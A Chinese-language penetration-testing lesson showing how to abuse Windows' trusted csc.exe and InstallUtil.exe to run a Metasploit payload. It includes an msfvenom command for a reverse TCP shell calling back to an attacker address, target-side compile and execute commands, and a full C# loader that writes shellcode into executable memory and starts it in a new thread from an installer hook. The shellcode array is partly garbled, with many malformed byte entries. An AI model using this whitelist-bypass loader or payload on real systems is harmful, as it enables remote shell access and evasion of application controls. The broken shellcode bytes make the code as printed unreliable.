注:请多喝点热水或者凉白开,身体特别重要。

Csc.exe简介:

C#的在Windows平台下的编译器名称是Csc.exe,如果你的.NET FrameWork SDK安装在C盘,那么你可以在C:\WINNT\Microsoft.NET\Framework\xxxxx目录中发现它。为了使用方便,你可以手动把这个目录添加到Path环境变量中去。用Csc.exe编译HelloWorld.cs非常简单,打开命令提示符,并切换到存放
test.cs文件的目录中,输入下列行命令:csc /target:exe test.cs 将Ttest.cs 编译成名为 test.exe 的 console 应用程序

说明: Csc.exe所在路径没有被系统添加PATH环境变量中,因此,csc命令无法识别。

基于白名单Csc.exe配置payload:

Windows 7 默认位置:

  1. C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
  2. C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

攻击机:192.168.1.4 Debian
靶机:192.168.1.5 Windows 7

配置攻击机msf:

第七十七课:基于白名单Csc.exe执行payload第七季 - 图1

配置payload:

  1. msfvenom p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 f csharp

第七十七课:基于白名单Csc.exe执行payload第七季 - 图2

copy buf 到 Micropoor_Csc.cs shellcode 中。
第七十七课:基于白名单Csc.exe执行payload第七季 - 图3

靶机执行:

  1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:Mic opoor.exe /platform:x64 /unsafe C:\Users\John\Desktop\Micropoor_Csc.cs
  1. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\John\Desktop\Micropoor.exe

第七十七课:基于白名单Csc.exe执行payload第七季 - 图4

与第七十二课相比,payload更为灵活。

附录:Micropoor_Csc.cs

  1. using System;
  2. using System.Net;
  3. using System.Diagnostics;
  4. using System.Reflection;
  5. using System.Configuration.Install;
  6. using System.Runtime.InteropServices;
  7. // msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.1.4 LPORT=53 ‐f csharp
  8. public class Program
  9. {
  10. public static void Main()
  11. {
  12. }
  13. }
  14. [System.ComponentModel.RunInstaller(true)]
  15. public class Sample : System.Configuration.Install.Installer
  16. {
  17. public override void Uninstall(System.Collections.IDictionary savedState)
  18. {
  19. Shellcode.Exec();
  20. }
  21. }
  22. public class Shellcode
  23. {
  24. public static void Exec()
  25. {
  26. byte[] shellcode = new byte[510] {
  27. 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
  28. 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,x48,
  29. 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,xc9,
  30. 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,x41,
  31. 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,x48,
  32. 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,x8b,
  33. 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,x8b,
  34. 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,x41,
  35. 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,xc1,
  36. 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,x45,
  37. 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,x8b,
  38. 0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,x01,
  39. 0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,x48,
  40. 0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,xe9,
  41. 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,x00,
  42. 0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,xe5,
  43. 0x49,0xbc,0x02,0x00,0x00,0x35,0xc0,0xa8,0x01,0x04,0x41,0x54,0x49,0x89,xe4,
  44. 0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,x68,
  45. 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,x0a,
  46. 0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,x89,
  47. 0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,xd5,
  48. 0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,xba,
  49. 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,xe5,
  50. 0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,xc9,
  51. 0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,xd5,
  52. 0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,x41,
  53. 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,x41,
  54. 0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,x31,
  55. 0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,xc8,
  56. 0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,x40,
  57. 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,xd5,
  58. 0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,x3c,
  59. 0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,x41,
  60. 0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,xd5 };
  61. UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode .Length,
  62. MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  63. Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
  64. IntPtr hThread = IntPtr.Zero;
  65. UInt32 threadId = 0;
  66. IntPtr pinfo = IntPtr.Zero;
  67. hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
  68. WaitForSingleObject(hThread, 0xFFFFFFFF);
  69. }
  70. private static UInt32 MEM_COMMIT = 0x1000;
  71. private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
  72. [DllImport("kernel32")]
  73. private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
  74. [DllImport("kernel32")]
  75. private static extern bool VirtualFree(IntPtr lpAddress,
  76. UInt32 dwSize, UInt32 dwFreeType);
  77. [DllImport("kernel32")]
  78. private static extern IntPtr CreateThread(
  79. UInt32 lpThreadAttributes,
  80. UInt32 dwStackSize,
  81. UInt32 lpStartAddress,
  82. IntPtr param,
  83. UInt32 dwCreationFlags,
  84. ref UInt32 lpThreadId
  85. );
  86. [DllImport("kernel32")]
  87. private static extern bool CloseHandle(IntPtr handle);
  88. [DllImport("kernel32")]
  89. private static extern UInt32 WaitForSingleObject(
  90. IntPtr hHandle,
  91. UInt32 dwMilliseconds
  92. );
  93. [DllImport("kernel32")]
  94. private static extern IntPtr GetModuleHandle(
  95. string moduleName
  96. );
  97. [DllImport("kernel32")]
  98. private static extern UInt32 GetProcAddress(
  99. IntPtr hModule,
  100. string procName
  101. );
  102. [DllImport("kernel32")]
  103. private static extern UInt32 LoadLibrary(
  104. string lpFileName
  105. );
  106. [DllImport("kernel32")]
  107. private static extern UInt32 GetLastError();
  108. }

Micropoor